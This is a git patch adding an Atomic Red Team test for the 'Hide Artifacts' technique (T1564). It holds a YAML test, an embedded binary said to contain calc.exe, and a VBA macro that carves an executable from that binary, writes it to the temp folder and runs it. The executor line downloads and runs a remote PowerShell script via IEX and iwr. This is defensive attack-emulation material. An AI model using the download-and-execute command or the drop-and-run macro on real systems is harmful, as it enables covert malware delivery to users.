From 78507aedceaf80dcd340e17fe57d5ac09123e420 Mon Sep 17 00:00:00 2001 From: Ama Smuggle Avocados <47680420+amasmuggleavocados@users.noreply.github.com> Date: Wed, 16 Dec 2020 10:46:56 -0500 Subject: [PATCH] Extractbinary (#1332) * initial * moving file * hard-code to winword process Co-authored-by: avocado Co-authored-by: Carrie Roberts --- atomics/T1564/T1564.yaml | 40 ++++++++++++++++++++++ atomics/T1564/bin/extractme.bin | Bin 0 -> 33022 bytes atomics/T1564/src/T1564-macrocode.txt | 46 ++++++++++++++++++++++++++ 3 files changed, 86 insertions(+) create mode 100644 atomics/T1564/T1564.yaml create mode 100644 atomics/T1564/bin/extractme.bin create mode 100644 atomics/T1564/src/T1564-macrocode.txt diff --git a/atomics/T1564/T1564.yaml b/atomics/T1564/T1564.yaml new file mode 100644 index 00000000..9a59a90b --- /dev/null +++ b/atomics/T1564/T1564.yaml @@ -0,0 +1,40 @@ +attack_technique: T1564 +display_name: "Hide Artifacts" +atomic_tests: +- name: Extract binary files via VBA + auto_generated_guid: + description: | + This module extracts a binary (calc.exe) from inside of another binary. + + In the wild maldoc authors will use this technique to hide binaries inside of files stored + within the office document itself. An example of this technique can be seen in sample + + f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226 + + This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2 + is the same document without all the malicious code. Document 1 will copy Document 2 to the file system + and then "peek" inside of this document and pull out the oleObject.bin file. Contained inside of this + oleObject.bin file is a payload that is parsed out and executed on the file system. + supported_platforms: + - windows + dependency_executor_name: powershell + dependencies: + - description: | + Microsoft Word must be installed + prereq_command: | + try { + New-Object -COMObject "Word.Application" | Out-Null + Stop-Process -Name "winword" + exit 0 + } catch { exit 1 } + get_prereq_command: | + Write-Host "You will need to install Microsoft Word manually to meet this requirement" + executor: + command: | + $macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt") + $macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin" + IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-MalDoc.ps1") + Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap + cleanup_command: | + Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore + name: powershell diff --git a/atomics/T1564/bin/extractme.bin b/atomics/T1564/bin/extractme.bin new file mode 100644 index 0000000000000000000000000000000000000000..96610b473e10d0f61391db33b700caad5c7982a3 GIT binary patch literal 33022 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 X^!`Kl14lpS(JVT|kNM~SI}Q9lD#F_V literal 0 HcmV?d00001 diff --git a/atomics/T1564/src/T1564-macrocode.txt b/atomics/T1564/src/T1564-macrocode.txt new file mode 100644 index 00000000..98759b8a --- /dev/null +++ b/atomics/T1564/src/T1564-macrocode.txt @@ -0,0 +1,46 @@ +Sub Extract() + + Dim peBin% + Dim byt As Byte + Dim memArray() As Variant + + peBin = FreeFile + FName = "aREPLACEMEa" + outName = Environ$("TEMP") + "\extracted.exe" + Open FName For Binary Access Read As peBin + + cnt = 0 + + Do While Not EOF(peBin) + Get peBin, , byt + If Hex(byt) = "4D" Then + ReDim Preserve memArray(cnt) + memArray(cnt) = Hex(byt) + cnt = cnt + 1 + Get peBin, , byt + If Hex(byt) = "5A" Then + ReDim Preserve memArray(cnt) + memArray(cnt) = Hex(byt) + cnt = cnt + 1 + Get peBin, , byt + Do While Not EOF(peBin) + ReDim Preserve memArray(cnt) + memArray(cnt) = Hex(byt) + cnt = cnt + 1 + Get peBin, , byt + Loop + End If + End If + Loop + + Close peBin + + Open (outName) For Binary Lock Read Write As #1 + For a = 0 To UBound(memArray) + Put #1, , CByte("&h" & memArray(a)) + Next a + Close + + Call Shell(outName, vbNormalFocus) + +End Sub